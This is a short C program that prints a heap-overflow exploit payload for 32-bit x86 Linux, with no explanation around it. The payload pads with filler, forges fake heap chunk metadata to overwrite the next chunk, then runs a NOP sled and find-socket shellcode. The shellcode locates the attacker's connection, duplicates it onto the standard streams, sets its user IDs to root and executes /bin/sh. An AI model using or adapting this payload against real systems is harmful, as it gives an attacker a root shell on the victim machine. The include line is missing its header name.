#include unsigned char overwrite_next_chunk[] = "AAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAA" "\x00\x00\x00\x00" "\x00\x00\x00\x00" "AAAA" "\x01\x00\x00\x00" "AAAA" "AAAA" "AAAA" "\x00\x00\x00\x00" "AAAA" "\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00" "AAAAAAAA" "\x00\x00\x00\x00" "\x11\x00\x00\x00" "fdfd" "bkbk" "\x10\x00\x00\x00" "\x10\x00\x00\x00" "\xeb\x0a\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x31\xdb" "\x89\xe7" "\x8d\x77\x10" "\x89\x77\x04" "\x8d\x4f\x20" "\x89\x4f\x08" "\xb3\x10" "\x89\x19" "\x31\xc9" "\xb1\xff" "\x89\x0f" "\x51" "\x31\xc0" "\xb0\x66" "\xb3\x07" "\x89\xf9" "\xcd\x80" "\x59" "\x31\xdb" "\x39\xd8" "\x75\x0a" "\x66\xb8\x12\x34" "\x66\x39\x46\x02" "\x74\x02" "\xe2\xe0" "\x89\xcb" "\x31\xc9" "\xb1\x03" "\x31\xc0" "\xb0\x3f" "\x49" "\xcd\x80" "\x41" "\xe2\xf6" "\x31\xc9" "\xf7\xe1" "\x51" "\x5b" "\xb0\xa4" "\xcd\x80" "\x31\xc0" "\x50" "\x68""//sh" "\x68""/bin" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x99" "\xb0\x0b" "\xcd\x80"; int main() { fwrite(overwrite_next_chunk, 1, sizeof(overwrite_next_chunk)-1, stdout); return 0; }